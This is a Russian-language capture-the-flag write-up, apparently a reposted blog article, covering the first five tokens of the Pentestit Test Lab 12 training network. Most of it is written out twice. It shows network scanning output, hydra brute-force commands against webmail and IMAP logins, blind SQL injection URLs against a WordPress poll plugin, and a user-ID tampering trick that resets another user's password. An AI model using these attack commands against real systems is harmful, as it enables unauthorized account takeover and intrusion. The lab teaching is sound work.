Привет друзья, всех с Новым 2019 годом!
Хотел выложить статью в Декабре 2018, но очень хотелось найти оставшиеся токены для полноты картины и не давать Вам шансов к легкому прохождению. Так, как пока что (на момент 03.01.2019) - лидер выполнивший все задания только 1 и это CSV, который к тому же единственный, кто выполнил все токены включая Image 21-го декабря.
И вот 04.01.2019 г. пьедестал полностью сформирован и целая группа талантливых персонажей взяли последний и мучительный для них токен Image! перечислю ники на всякий случай: BadBlackHat, Mister_BertOni, zpointer, rOhack, ASV, cryptObOy из этого форума codeby.net взявшие последний токен в один день, так же ребята rack2009, nerf, oneGuard и конечно же монстр лабы, который прошел ее просто молниеносно, CSV! Браво всем!
С разрешения создателей,
Хочу представить Вашему вниманию прохождение всем известной и любимой нашей команде лабораторки от
Да и еще, прошу Вас обратить внимание, что к написанию статьи мы подошли с трепетностью и душой.
Все, что я находил ранее, обзоры предыдущих лаб, то он сделаны примерно по следующему принципу:
Мы постарались описать все действия, при том, мы постарались скрыть все токены, дабы оставить Вам шанс проявить себя. Все написанное не более чем личный взгляд автора на классную лабораторную. Текст может иметь помарки и режущие фразы не относящиеся к литературному изложению, так сказать "по домашнему".
В этом году организаторы решили не давать карту сети в руки, люди поделились на 2 типа, кому начхать и те, как я, привыкшие работать по бумажке. Это даже хорошо, постараемся собрать свою карту сети и снабдить Вас достаточными знаниями, погнали...
По старой доброй привычке, я лично решил проходить задания на Винде (Windows 10 Redstone 5) по причине кончины моего рабочего Deepin, а именно нового загрузчика Grub 3 и было просто лениво его реанимировать и хотел поскорее начать. Сразу оговорюсь, это не чистая Винда, а все таки с shell на нем.
Часть 1
Разведка
Часть 2
________________________________________
z 9r347 39u411z3r
Lab's gateways: 192.168.101.12 and 192.168.101.13
________________________________________
Нам намекают на 2 хоста и да, не ищите подвох или токен в названии лабы - z 9r347 39u411z3r - это всего лишь название the great equalizer. Да и для тех, кто начал впервые и не понимает, что суть всех заданий в полном включении головы - читайте статьи предыдущих лабораторок (1, 2, 3 и вообще перейдите в наш раздел CTF и попытайтесь проверить себя) и тренируйте скил, а лишь после этого садитесь за эти задания.
Разведка:
Для подключения к лаборатории используйте зеленую кнопку HOW TO CONNECT lol вдруг тут новички...
Подключившись к VPN, мы включаем внутренний режим мониторинга и собираем любую доступную информацию.
Для начала сканируем сеть 192.168.101.0/24 чтобы понять что у нас есть.
Мы имеем 3 хоста:
192.168.101.1 - шлюз
192.168.101.12 - вэб-сервис, резолвит как site.test.lab
192.168.101.13 - хз...
При попытке подключения к 80-тому порту по IP мы видим, что нас резолвит на site.test.lab, попробуем добавить его в hosts.
Вуаля, сайт открылся )
Посканим его:
Ну и 13 хост, проверим так же:
[/B]
Пытаемся определить что это за вэб-сервис, какой CMS использует:
Ничего.
Сканим директории:
Останавливаем, WAF не дает нам ничего посмотреть.
Пробуем другой способ проверки содержимого:
Только лишь index.html.
Идем на
И находим лишь ящик info@test.lab и по коду страницы понимаем что это Wordpress (все просто, содержание каталогов типа wp-content и wp-includes).
Нашли уязвимости:
Видим SQL уязвимость, но из-за того, что Стоит WAF и лочит нас на 1 минуту. Бросаем затею пока не обойдем ВАФ...
________________________________________
MAIL Token
Учитесь не упираться в одну точку, а пытаться снова и снова найти векторы и пытаться их эксплуатировать. Как девиз к великому и ужасному OSCP - Try harder!
Для новичков или людей не сведущих - хочу пояснить, может это походит на агонию, но это и есть пентест, дикие, безжалостные попытки найти уязвимость и пытаться эксплуатировать имея только намеки на уязвимость, как это наверное делают настоящие черно шляпники. Может быть с ростом навыка это будет происходить на автомате, но не думаю...
Смотрим на другие открытые порты и Переключаемся на почту:
В коде находим:
hiden_token=W8EIy6cLMUTzNEmhlujjUXxnJiWoizLf - не все так просто, не подходит. Да и вообще, что бы это значило [˧1D4IQ|g&%2
Дальше находим:
Проверим, что за ip мы обнаружили:
Все фильтруется, не удивительно, ведь мы таких маршрутов не видим.
Пытаемся прогидрить авторизацию:
Пытаемся накидать пост запросы, чтобы получить ответ:
Ищем выводные данные дальше:
[/B]
Рано радуемся, т.к. запрос не верен.
Все не то, т.к. генерируется токен на каждую сессию. Ищем дальше и пробуем подсунуть токен сессии...
Это безумие, не отканывает из-за плавающего токена сессии. Пробуем другие варианты, у нас есть еще порты 25 и 143...
25:
Бросаем это гиблое дело и переключаемся на брут имапа:
Easy Братцы, 20 секунд и пасс у нас! Кстати пасс взят со статистики топ 10 простых паролей...
Идем авторизоваться к веб-роже RoudCube:
В удаленных находим конфиг vpn.conf
В отправленных - токен и еще одно сообщение:
Good day!
Congratulations on your thirtieth birthday!
Это всё-таки что-то может значить... 2018-30=09.12.1988 или 12.09.1988
Замечаем доменного пользователя sviridov@test.lab
Из 25 тысяч участников и 92 онлайн, лидерами взято уже 5 токенов, а мы только справились с первым. Просто я начал только после рабочего времени, а лабораторная началась в 12 по Москве.
________________________________________
Идем дальше...
Имея vpn.conf на руках, нам нужно подключить еще один TAP-интерфейс для OpenVPN чтобы провалиться внутрь другого туннеля:
Смотрим структуру конфига, это линевый формат для OpenVPN. Переименовываем его в ovpn и пробуем подключиться.
Но, нам нужен логин и пароль. Пробуем подобрать пароль от найденной в почте учетной записи sviridov@test.lab, ложно думая, что info это групповая рассылка.
4 часа брута - результата нет...
Ничего не вышло, пробуем зайти в VPN на удачу под уже найденным пользователем: info@test.lab
И вуаля, вошли.
Смотрим маршруты:
У нас новая сетка 172.16.0.0 и это жесть, 16 маска.
Нашли 4 хоста:
Просканируем на сервисы:
Раздолье прям таки.
Давайте подробнее взглянем на самый интересный:
________________________________________
DNS Token
Пробуем дигом:
Этот NS сервер пустозвонит, пробуем другой:
Записи получены, там же заблудился и токен.
Пока мы копошились, мировые умы ушли далеко вперед, уже 11 токенов взято.
Пройдя этот токен - Мы имеем:
!Хочу немного пояснить, любая найденная информация на любом этапе может быть полезна, так что не стесняйтесь конспектировать, делать скрины и собирать все малейшие зацепки.
________________________________________
AD Token
По результатам сканирования портов и определения сервисов, в первую очередь 445 порта,
Пробуем перечислить __SAMBA__
В общем сетка лежит, периодически проблемы с доступностью, попробуем позднее. Прошу обратить внимание на изобилие средств и каждая эта утилита может нам предоставить различный результат.
В итоге нам удается сэнумерейтить юзеров:
Если бы под руками была спарта (Sparta) данный токен был бы найден намного быстрее.
А еще можно использовать и другие средства, например старый добрый LanSpy:
Токен взят... Оба они были почти в одном месте, ну я так считаю и были достаточно простыми.
Мы имеем:
Ну и подведем мини итог по нахождению 3 токенов за прошедшие 2 дня поиска - это 18% на статусбаре
________________________________________
HELPDESK Token
Визуально только форма авторизации, и по коду 2 изображения имеют 404 ошибку:
Параллельно ищем векторы sqmap'om:
Мап ничего не дал. Все мол чисто и хорошо.
Другие сканеры говорят о том, что на формах присутствует plaintext авторизация и это все, что они видят.
По факту находим только 2 формы
и одна форма выхода, ее не берем в счет.
Составляем список найденных в DNS пользователей, с учетом исключения отключенных и пробуем брутить:
Пробуем зайти туда имеющимся логином и паролем и смотрим на запросы формы
Попали внутрь. Осматриваемся и ищем векторы.
В этой форме находим скрытый элемент:
Сначала думаем, что это токен, но в стринге это число 145 и мы тем самым узнаем ID нашего пользователя info
Там есть еще поле с вводом команды, но по коду видим, что это поле значения login=
Эта форма дает возможность менять пароль текущего пользователя:
т.е. мы проверили совпадение он все таки ищет или есть ли еще один вектор.
Пароль действительно меняется, да и как выяснили с повышенными привилегиями.
Делаем словарь из чисел от 1-1000, преобразовываем в base64 а затем в url encode чтобы убрать символы =
Дикость, но по факту составив словарь скриптом
Пробуем средствами бурпа:
Все изыскания и попытки состряпать такой словарик потерпел неудачу, т.к. построчный перевод ни батником, ни другими подвластными мне средствами на винде не давался. Даже встроенным функционалом Burp Siute в разделе Payload Intruder не верно делал необходимое.
Есть такой хороший человек с дружественной нам Белоруссии
Пройдясь по нему взяв в подбор id мы получили 302 ответ на 2-ух id это MTQ1Cg%3D%3D или наш 145 и NDQwCg%3D%3D - а это новое значение в base64 NDQwCg== или 440
т.е. ID пользователя доступного к смене пароля 440 и нам всего лишь нужно найти логин этого пользователя, ведь пароль ему мы сменили.
Не забываем у нас есть всего пару минут, ведь виртуалка откатывается к первоначальному значению через 3-5 минут.
По предположению это sviridov@test.lab и это было верным замечанием.
Мы видим в Helpdesk следующее:
Токен взят! Самый долгий, жгучий и невыносимый пока что токен. На него было потрачено уйму времени, но тем самым он отложился в голове, думаю и Вам будет полезно.
И пока мы решали этот токен в течении нескольких дней и ночей в Лабе появился лидер, который нашел все токены. Забегая вперед скажу, что по состоянию на 02.01.2019 он пока что единственный собравший все токены. Image токен пока не поддался никому из лидеров.
(Ребята, кто не усвоил урок, просьба сделайте все по человечески, без скрипта):
________________________________________
VPN Token
Когда мы взяли токен HelpDesk и там увидели явный намек, что есть еще один VPN, попробуем его искать большими и долгими всепортовыми запросами:
Это жуть как долго, попробуем ускорить пройдя по портам VPN:
Пока сканируется, мы смотрим на конфиг VPN и замечаем что мы сканим зря, т.к. в конфиге как раз указан UDP порт и IP. Пробуем сократить до имеющихся IP адресов и порт.
Дублируем имеющийся конфиг, меняем IP-адрес и пробуем войти под новым логином.
Мы в сети. Проверяем маршрутизацию и проверяем сетку.
Сеть та же, добавилась еще одна стандартная сетка.
Проверив 24 маску 172.16 находим только 1 новый IP:
Запускаем на скан 16 маску по быстрому:
а затем прогоним на сервисы найденные хосты:
Нашли еще 4 новых IP-адреса.
Лазаем, ищем и если проявим внимательность в маршрутизации, то получим токен.
________________________________________
Давайте подытожим, мы нашли уже 5 токенов, у нас осталось еще 12 заданий и это 30% общего прохождения:
Users, Repository, SIEM, Site, My, API, User API, Image, DB, admin, Reverse
В данном VPN есть еще один маршрут 192.168.0.0/24 и по моему предположению это техническая сетка. Т.к. о ней ни слова и не упоминали в почте, а также смело предположим, что Свиридов как то связан с админами.
За почти неделю, обитая в данной лабораторной, теперь
Так же мы видим новые хосты и будем их проверять.
Но для начала составим карту, ведь привычка дело страшное.
чистим вывод от мусора
Скормим nmap
Спарсим в красивый HTML
Ну и смотрим output.html
В целом мы имеем следующую картину:
Так же составляем привычную для нас сетевую карту, не без помощи друзей:
________________________________________
Когда мы получили в VPN попробуем вернуться снова к сайту site.test.lab
Выявлено, что организаторы решили немного усложнить после завершения всех задач победителем лабы CSV.
Они обновили уязвимый плагин с версии 1.1.7 до 1.5.7.8 или wpscan нас дико обманул.
Уязвимости есть, но по-прежнему эксплуатация приводит к бану веб-фаерволом. Ищем дальше.
Так же, хочу отметить тот факт, что при подключении к другому хосту по VPN через Свиридова часть прошлой сетки теряется и мы больше не сможем обратиться к некоторым хостам. Я добавляю эту уточнение, которое мне лично сэкономила бы кучу времени, если я знал это ранее.
Идем дальше смотрим продолжение во второй части. С радостью разместил бы все в одной, но ввиду того, что постарался сделать врайтап достаточно подробным получилось слишком много материала...
Взято с https://securixy.kz
Хотел выложить статью в Декабре 2018, но очень хотелось найти оставшиеся токены для полноты картины и не давать Вам шансов к легкому прохождению. Так, как пока что (на момент 03.01.2019) - лидер выполнивший все задания только 1 и это CSV, который к тому же единственный, кто выполнил все токены включая Image 21-го декабря.
И вот 04.01.2019 г. пьедестал полностью сформирован и целая группа талантливых персонажей взяли последний и мучительный для них токен Image! перечислю ники на всякий случай: BadBlackHat, Mister_BertOni, zpointer, rOhack, ASV, cryptObOy из этого форума codeby.net взявшие последний токен в один день, так же ребята rack2009, nerf, oneGuard и конечно же монстр лабы, который прошел ее просто молниеносно, CSV! Браво всем!
С разрешения создателей,
Хочу представить Вашему вниманию прохождение всем известной и любимой нашей команде лабораторки от
Ссылка скрыта от гостей
под номером 12 вышедшей 14 Декабря 2018 г. Предыдущую
Ссылка скрыта от гостей
мы начали не с самого начала, да и признаться, у меня лично не было внутреннего огонька и самоуверенности в том, что я дойду хотя бы до середины... От себя скажу всем, кто интересуется ИБ или кто хочет научиться азам и начать развиваться в этом направлении - ребята эта лабораторка именно то, что Вам нужно. Аналогов ей просто нет, несмотря на все
Ссылка скрыта от гостей
,
Ссылка скрыта от гостей
,
Ссылка скрыта от гостей
и т.п. В ней все приближено к реальным событиям в локальных сетях. Напрашивается вопрос, о чем несет автор,
Ссылка скрыта от гостей
сложен или если что в гугле есть ответы. Вот мой ответ - все CTF для меня ассоциируются с пошаговой стратегией с уже имеющимся сэйвом - если не понравилось задание, открываете другое - ну Вы поняли да, а подобные лабораторки это как ГТА 4 в свое время, когда можно двигаться в любом направлении при выполнении определенных сюжетных заданий, ну думаю поняли разницу.Да и еще, прошу Вас обратить внимание, что к написанию статьи мы подошли с трепетностью и душой.
Все, что я находил ранее, обзоры предыдущих лаб, то он сделаны примерно по следующему принципу:
Мы постарались описать все действия, при том, мы постарались скрыть все токены, дабы оставить Вам шанс проявить себя. Все написанное не более чем личный взгляд автора на классную лабораторную. Текст может иметь помарки и режущие фразы не относящиеся к литературному изложению, так сказать "по домашнему".
В этом году организаторы решили не давать карту сети в руки, люди поделились на 2 типа, кому начхать и те, как я, привыкшие работать по бумажке. Это даже хорошо, постараемся собрать свою карту сети и снабдить Вас достаточными знаниями, погнали...
По старой доброй привычке, я лично решил проходить задания на Винде (Windows 10 Redstone 5) по причине кончины моего рабочего Deepin, а именно нового загрузчика Grub 3 и было просто лениво его реанимировать и хотел поскорее начать. Сразу оговорюсь, это не чистая Винда, а все таки с shell на нем.
Часть 1
Разведка
1. MAIL Token
2. DNS Token
3. AD Token
4. HELPDESK Token
5. VPN Token
Карта сетиЧасть 2
6. SIEM Token
7. REPOSITORY Token
8. MY Token
9. USERS Token
10. SITE Token
Часть 311. REVERSE Token
12. DB Token
13. UserAPI Token
Часть 414. API Token
15. ADMIN Token
16. IMAGE Token
Заключение________________________________________
z 9r347 39u411z3r
Lab's gateways: 192.168.101.12 and 192.168.101.13
________________________________________
Нам намекают на 2 хоста и да, не ищите подвох или токен в названии лабы - z 9r347 39u411z3r - это всего лишь название the great equalizer. Да и для тех, кто начал впервые и не понимает, что суть всех заданий в полном включении головы - читайте статьи предыдущих лабораторок (1, 2, 3 и вообще перейдите в наш раздел CTF и попытайтесь проверить себя) и тренируйте скил, а лишь после этого садитесь за эти задания.
Разведка:
Для подключения к лаборатории используйте зеленую кнопку HOW TO CONNECT lol вдруг тут новички...
Подключившись к VPN, мы включаем внутренний режим мониторинга и собираем любую доступную информацию.
Для начала сканируем сеть 192.168.101.0/24 чтобы понять что у нас есть.
Мы имеем 3 хоста:
192.168.101.1 - шлюз
192.168.101.12 - вэб-сервис, резолвит как site.test.lab
192.168.101.13 - хз...
При попытке подключения к 80-тому порту по IP мы видим, что нас резолвит на site.test.lab, попробуем добавить его в hosts.
notepad C:\Windows\system32\drivers\etc\hosts
192.168.101.12 site.test.lab
Вуаля, сайт открылся )
Посканим его:
Bash:
Nmap scan report for [B]site[/B].test.lab (192.168.101.12)
Host is up (0.25s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
[B]25[/B]/tcp open smtp Postfix smtpd
[B]80[/B]/tcp open http nginx 1.14.2
[B]143[/B]/tcp open imap Dovecot imapd
[B]8080[/B]/tcp open http nginx
Service Info: Host: mail.test.lab
Ну и 13 хост, проверим так же:
Bash:
Nmap scan report for 192.168.101.13
Host is up.
All 1000 scanned ports on 192.168.101.13 [B]are filtered
Пытаемся определить что это за вэб-сервис, какой CMS использует:
Bash:
root@as0st:~ nikto -host 192.168.101.12:80
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP: 192.168.101.12
+ Target Hostname: site.test.lab
+ Target Port: 80
+ Start Time: 2018-12-15 18:18:01 (GMT6)
---------------------------------------------------------------------------
+ Server: nginx/1.14.2
+ The anti-clickjacking X-Frame-Options header is not present.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 6545 items checked: 1 error(s) and 1 item(s) reported on remote host
+ End Time: 2018-12-15 18:34:33 (GMT6) (992 seconds)
---------------------------------------------------------------------------
Сканим директории:
Bash:
root@as0st:~ dirb http://192.168.101.12/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Dec 15 17:34:28 2018
URL_BASE: http://192.168.101.12/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.101.12/ ----
+ http://192.168.101.12/.bash_history (CODE:403|SIZE:571)
+ http://192.168.101.12/.history (CODE:403|SIZE:571)
+ http://192.168.101.12/.mysql_history (CODE:403|SIZE:571)
+ http://192.168.101.12/.passwd (CODE:403|SIZE:571)
+ http://192.168.101.12/.sh_history (CODE:403|SIZE:571)
+ http://192.168.101.12/.ssh (CODE:403|SIZE:571)
+ http://192.168.101.12/.subversion (CODE:403|SIZE:571)
+ http://192.168.101.12/.svn (CODE:403|SIZE:571)
Пробуем другой способ проверки содержимого:
Bash:
root@Ac0st:/mnt/d/CTF/Pentestit wget -o- 192.168.101.12:8080
--2018-12-17 23:29:50-- http://192.168.101.12:8080/
Connecting to 192.168.101.12:8080... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://192.168.101.12:8080/mail/ [following]
--2018-12-17 23:29:51-- http://192.168.101.12:8080/mail/
Reusing existing connection to 192.168.101.12:8080.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'index.html'
0K ..... 2.16M=0.002s
2018-12-17 23:30:01 (2.16 MB/s) - 'index.html' saved [5533]
Идем на
http://site.test.lab
и рыскаем по коду и по страницам, пытаемся поэксплуатировать формы, найти хоть какую то зацепку.И находим лишь ящик info@test.lab и по коду страницы понимаем что это Wordpress (все просто, содержание каталогов типа wp-content и wp-includes).
Bash:
root@as0st:~ wpscan --url http://site.test.lab --enumerate u --random-user-agent
NOTE: Gem.gunzip is deprecated; use Gem::Util.gunzip instead. It will be removed on or after 2018-12-01.
________________________________________
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 2.8
Sponsored by Sucuri - https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
________________________________________
[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o [A]bort, default: [N]n
[+] URL: http://site.test.lab/
[+] Started: Fri Dec 14 21:46:06 2018
[!] The WordPress 'http://site.test.lab/readme.html' file exists exposing a version number
[+] Interesting header: SERVER: nginx/1.14.2
[+] WordPress version 4.9.8 identified from meta generator
[+] WordPress theme in use: twentyseventeen
[+] Name: twentyseventeen
| Location: http://site.test.lab/wp-content/themes/twentyseventeen/
| Style URL: http://site.test.lab/wp-content/themes/twentyseventeen/style.css
| Description:
[+] Enumerating plugins from passive detection ...
| 1 plugin found:
[+] Name: wp-survey-and-poll
| Location: http://site.test.lab/wp-content/plugins/wp-survey-and-poll/
[!] We could not determine a version so all vulnerabilities are printed out
[!] Title: WordPress Survey & Poll <= 1.1.7 - Blind SQL Injection
Reference: https://wpvulndb.com/vulnerabilities/7794
Reference: http://packetstormsecurity.com/files/130381/
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2090
Reference: https://www.exploit-db.com/exploits/36054/
[i] Fixed in: 1.1.91
[+] Enumerating usernames ...
[!] Stop User Enumeration plugin detected, results might be empty. However a bypass exists for v1.2.8 and below, see stop_user_enumeration_bypass.rb in /usr/share/wpscan
[+] We did not enumerate any usernames
[+] Finished: Fri Dec 14 21:46:25 2018
[+] Requests Done: 119
[+] Memory used: 5.695 MB
[+] Elapsed time: 00:00:18
Нашли уязвимости:
http://site.test.lab/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498
http://site.test.lab/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id= 3556498 AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>[Numbers compare]
http://site.test.lab/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498"%20-p%20survey_id%20--dbms=mysql
Видим SQL уязвимость, но из-за того, что Стоит WAF и лочит нас на 1 минуту. Бросаем затею пока не обойдем ВАФ...
________________________________________
MAIL Token
Учитесь не упираться в одну точку, а пытаться снова и снова найти векторы и пытаться их эксплуатировать. Как девиз к великому и ужасному OSCP - Try harder!
Для новичков или людей не сведущих - хочу пояснить, может это походит на агонию, но это и есть пентест, дикие, безжалостные попытки найти уязвимость и пытаться эксплуатировать имея только намеки на уязвимость, как это наверное делают настоящие черно шляпники. Может быть с ростом навыка это будет происходить на автомате, но не думаю...
Смотрим на другие открытые порты и Переключаемся на почту:
http://192.168.101.12:8080/mail
В коде находим:
hiden_token=W8EIy6cLMUTzNEmhlujjUXxnJiWoizLf - не все так просто, не подходит. Да и вообще, что бы это значило [˧1D4IQ|g&%2
Дальше находим:
Bash:
Output
When processing the following request :
GET / HTTP/1.0
this web server leaks the following private IP address :
[B]172.16.0.11[/B]
as found in the following collection of HTTP headers :
HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Fri, 14 Dec 2018 16:24:47 GMT
Content-Type: text/html
Content-Length: 178
Location: http://172.16.0.11:8080/mail/
Connection: close
Проверим, что за ip мы обнаружили:
Bash:
root@as0st:~ nmap 172.16.0.11 -sV -Pn
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-14 22:34 +06
Nmap scan report for 172.16.0.11
Host is up (0.0047s latency).
All 1000 scanned ports on 172.16.0.11 are filtered
Все фильтруется, не удивительно, ведь мы таких маршрутов не видим.
Пытаемся прогидрить авторизацию:
Bash:
hydra -l /home/clevergod/Documents/users.txt -p /home/clevergod/Documents/rockyou.txt 192.168.101.12:8080 http-head mail/
Пытаемся накидать пост запросы, чтобы получить ответ:
Bash:
hydra -l 111111 -p 222222 http-post-form://192.168.101.12:8080 -m "/?_task=login=^USER^&login_password=^PASS^&cookieuser=1" -d
Ищем выводные данные дальше:
Bash:
hydra -l info@test.lab -P rockyou.txt -o ./hydra_result.log -f -V -s 8080 192.168.101.12 http-get /mail/
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-get://192.168.101.12:8080//mail/
[ATTEMPT] target 192.168.101.12 - login "admin@test.lab" - pass "123456" - 1 of 14344398 [child 0] (0/0)
[ATTEMPT] target 192.168.101.12 - login "admin@test.lab" - pass "12345" - 2 of 14344398 [child 1] (0/0)
[ATTEMPT] target 192.168.101.12 - login "admin@test.lab" - pass "123456789" - 3 of 14344398 [child 2] (0/0)
...
[ATTEMPT] target 192.168.101.12 - login "admin@test.lab" - pass "monkey" - 14 of 14344398 [child 13] (0/0)
[ATTEMPT] target 192.168.101.12 - login "admin@test.lab" - pass "lovely" - 15 of 14344398 [child 14] (0/0)
[ATTEMPT] target 192.168.101.12 - login "admin@test.lab" - pass "jessica" - 16 of 14344398 [child 15] (0/0)
[8080][http-get] host: 192.168.101.12 login: admin@test.lab password: 123456
[8080][http-get] host: 192.168.101.12 login: info@test.lab password: 1234567
[STATUS] attack finished for 192.168.101.12 (valid pair found)
1 of 1 target successfully completed, [B]1 valid password found
Рано радуемся, т.к. запрос не верен.
Все не то, т.к. генерируется токен на каждую сессию. Ищем дальше и пробуем подсунуть токен сессии...
_token=jAf0pA3BamXdvJAVf6KuwJ4AOChtr3rt&_task=login&_action=login&_timezone=Asia%2FAlmaty&_url=&_user=info%40test.lab&_pass=123456
Bash:
hydra 192.168.101.12:8080 http-post-form "/mail:_token=jAf0pA3BamXdvJAVf6KuwJ4AOChtr3rt&_task=login&_action=login&_timezone=Asia%2FAlmaty&_url=&_user=^USER^&_pass=^PASS^" -l info@test.lab -P rockyou.txt
Bash:
hydra -l info@test.lab -P rockyou.txt -o ./hydra_result.log -f -V -s 8080 192.168.101.12 http-post-form -m "/mail/?_task=login:_token=jAf0pA3BamXdvJAVf6KuwJ4AOChtr3rt&_task=login&_action=login&_timezone=Asia%2FAlmaty&_url=&_user=^USER^&_pass=^PASS^"
Это безумие, не отканывает из-за плавающего токена сессии. Пробуем другие варианты, у нас есть еще порты 25 и 143...
25:
Bash:
hydra -l info@test.lab -P rockyou.txt smtp://192.168.101.12 -s 25
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking smtp://192.168.101.12:25/
[ERROR] SMTP LOGIN AUTH, either this [B]auth is disabled or server is not using auth[/B]: 503 5.5.1 Error: authentication not enabled
Бросаем это гиблое дело и переключаемся на брут имапа:
Bash:
hydra -l info@test.lab -P rockyou.txt imap://192.168.101.12:8080/PLAIN
Hydra (http://www.thc.org/thc-hydra) starting at 2018-12-17 19:54:05
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking imap://192.168.101.12:143/PLAIN
[143][imap] host: 192.168.101.12 login: [B]info@test.lab password: а щас, давайте сами - пароль тут![/B]
1 of 1 target successfully completed, [B]1 valid password found[/B]
Hydra (http://www.thc.org/thc-hydra) finished at 2018-12-17 19:54:31
Easy Братцы, 20 секунд и пасс у нас! Кстати пасс взят со статистики топ 10 простых паролей...
Идем авторизоваться к веб-роже RoudCube:
В удаленных находим конфиг vpn.conf
В отправленных - токен и еще одно сообщение:
Good day!
Congratulations on your thirtieth birthday!
Это всё-таки что-то может значить... 2018-30=09.12.1988 или 12.09.1988
Замечаем доменного пользователя sviridov@test.lab
Из 25 тысяч участников и 92 онлайн, лидерами взято уже 5 токенов, а мы только справились с первым. Просто я начал только после рабочего времени, а лабораторная началась в 12 по Москве.
________________________________________
Идем дальше...
Имея vpn.conf на руках, нам нужно подключить еще один TAP-интерфейс для OpenVPN чтобы провалиться внутрь другого туннеля:
cd %ProgramFiles%\TAP-Windows\bin
C:\Windows\system32>"C:\Program Files\TAP-Windows\bin\tapinstall.exe" install "C:\Program Files\TAP-Windows\driver\OemVista.inf" tap0901
Device node created. Install is complete when drivers are installed...
Updating drivers for tap0901 from C:\Program Files\TAP-Windows\driver\OemVista.inf.
Drivers installed successfully.
Смотрим структуру конфига, это линевый формат для OpenVPN. Переименовываем его в ovpn и пробуем подключиться.
Но, нам нужен логин и пароль. Пробуем подобрать пароль от найденной в почте учетной записи sviridov@test.lab, ложно думая, что info это групповая рассылка.
Bash:
root@Ac0st:~ hydra -l sviridov@test.lab -P rockyou.txt imap://192.168.101.12:8080/PLAIN
Ничего не вышло, пробуем зайти в VPN на удачу под уже найденным пользователем: info@test.lab
И вуаля, вошли.
Смотрим маршруты:
Bash:
root@Ac0st:/ ip route | grep eth
none 224.0.0.0/4 dev eth0 proto unspec metric 256
none 255.255.255.255 dev eth0 proto unspec metric 256
none 255.255.255.255 dev eth1 proto unspec metric 0
none 224.0.0.0/4 dev eth1 proto unspec metric 0
none 10.10.1.51 dev eth1 proto unspec metric 0
none 10.10.1.48/30 dev eth1 proto unspec metric 0
none 10.10.1.50 dev eth1 proto unspec metric 0
none 192.168.101.0/24 via 10.10.1.49 dev eth1 proto unspec metric 0
none 10.10.0.1 via 10.10.1.49 dev eth1 proto unspec metric 0
none 255.255.255.255 dev eth2 proto unspec metric 0
none 224.0.0.0/4 dev eth2 proto unspec metric 0
none 10.11.0.59 dev eth2 proto unspec metric 0
none 10.11.0.56/30 dev eth2 proto unspec metric 0
none 10.11.0.58 dev eth2 proto unspec metric 0
none 172.16.0.0/16 via 10.11.0.57 dev eth2 proto unspec metric 0
none 10.11.0.1 via 10.11.0.57 dev eth2 proto unspec metric 0
Нашли 4 хоста:
172.16.0.1
172.16.0.10
172.16.0.17 - AD TEST
172.16.2.1
Просканируем на сервисы:
Bash:
nmap -sV 172.16.0.0/24
Nmap scan report for 172.16.0.10
Host is up (0.23s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.2
|_http-title: 403 Forbidden
Bash:
Nmap scan report for ad (172.16.0.17)
Host is up (0.29s latency).
Not shown: 984 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.10.3-P4 (Debian Linux)
80/tcp open http nginx 1.14.2
88/tcp open kerberos-sec Heimdal Kerberos (server time: 2018-12-17 19:40:15Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: TEST)
143/tcp open imap Dovecot imapd
389/tcp open ldap (Anonymous bind OK)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: TEST)
464/tcp open kpasswd5?
636/tcp open ssl/ldap (Anonymous bind OK)
1024/tcp open msrpc Microsoft Windows RPC
3268/tcp open ldap (Anonymous bind OK)
3269/tcp open ssl/ldap (Anonymous bind OK)
8080/tcp open http nginx
Service Info: Host: mail.test.lab; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows
Давайте подробнее взглянем на самый интересный:
Bash:
Nmap scan report for 172.16.0.17
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
| ssh-hostkey:
| 2048 52:41:88:d7:94:bb:9d:1d:db:fa:ed:ed:eb:ad:d2:15 (RSA)
| 256 3e:ca:73:6f:6e:3c:d0:2c:69:57:78:26:a4:d6:2a:08 (ECDSA)
|_ 256 72:92:c7:db:12:3c:16:ca:60:f8:48:ac:05:76:83:7d (ED25519)
25/tcp open smtp Postfix smtpd
